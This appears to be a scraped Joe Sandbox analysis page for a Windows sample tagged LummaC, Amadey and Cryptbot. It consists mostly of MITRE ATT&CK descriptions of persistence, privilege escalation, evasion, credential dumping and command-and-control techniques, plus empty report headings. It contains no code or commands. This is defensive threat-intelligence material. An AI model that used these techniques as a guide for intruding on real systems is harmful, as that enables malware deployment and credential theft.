Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\GuardTech Solutions\K

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre